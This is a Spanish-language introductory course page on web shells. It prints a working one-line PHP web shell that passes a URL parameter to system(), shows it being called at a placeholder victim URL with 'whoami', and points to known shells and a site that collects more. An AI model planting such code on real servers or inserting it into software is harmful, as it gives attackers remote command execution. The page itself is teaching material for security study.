XUT_ / COURSES / CYBER SECURITY 101

Web Shell

Una web shell es un script escrito en un lenguaje soportado por un servidor web comprometido que ejecuta comandos a través del propio servidor. Suele ser un archivo que contiene código que ejecuta comandos y controla archivos.

Pueden ser escritas en diferentes lenguajes soportados por servidores web, como PHP, ASP, JSP o CGI.


Ejemplo de Web Shell PHP

Veamos un ejemplo de una web shell en PHP para entender cómo funciona este proceso:

php
<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

La shell de arriba puede guardarse en un archivo con extensión php, como shell.php, y luego subida a un servidor por el atacante para explotar vulnerabilidades como Unrestricted File Upload, File Inclusion, Command Injection y otras.

Después de desplegar la webshell en el servidor puede ser accedida a través de la URL. Según el ejemplo de arriba, tendríamos que realizar una petición GET con el parámetro "cmd". Si la página fuera http://victim.com/uploads/shell.php:

http://victim.com/uploads/shell.php?cmd=whoami

Esto ejecutará el comando whoami en el servidor y devolverá el resultado a través del navegador.


Web Shells Existentes Disponibles Online

El poder de los lenguajes soportados por los servidores web puede resultar en web shells con varias funcionalidades y evitar la detección a la vez. Veamos algunas de las más populares:

  • p0wny-shell: Una web shell de un solo archivo PHP minimalista que permite RCE. Web Shell
  • b374k shell: Una web shell PHP más rica en funcionalidades con manejo de archivos y ejecución de comandos, entre otras funcionalidades. Web Shell
  • c99 shell: Una web shell robusta y bien conocida con funcionalidades extensas. Web Shell

Si quieres encontrar más web shells: https://www.r57shell.net/index.php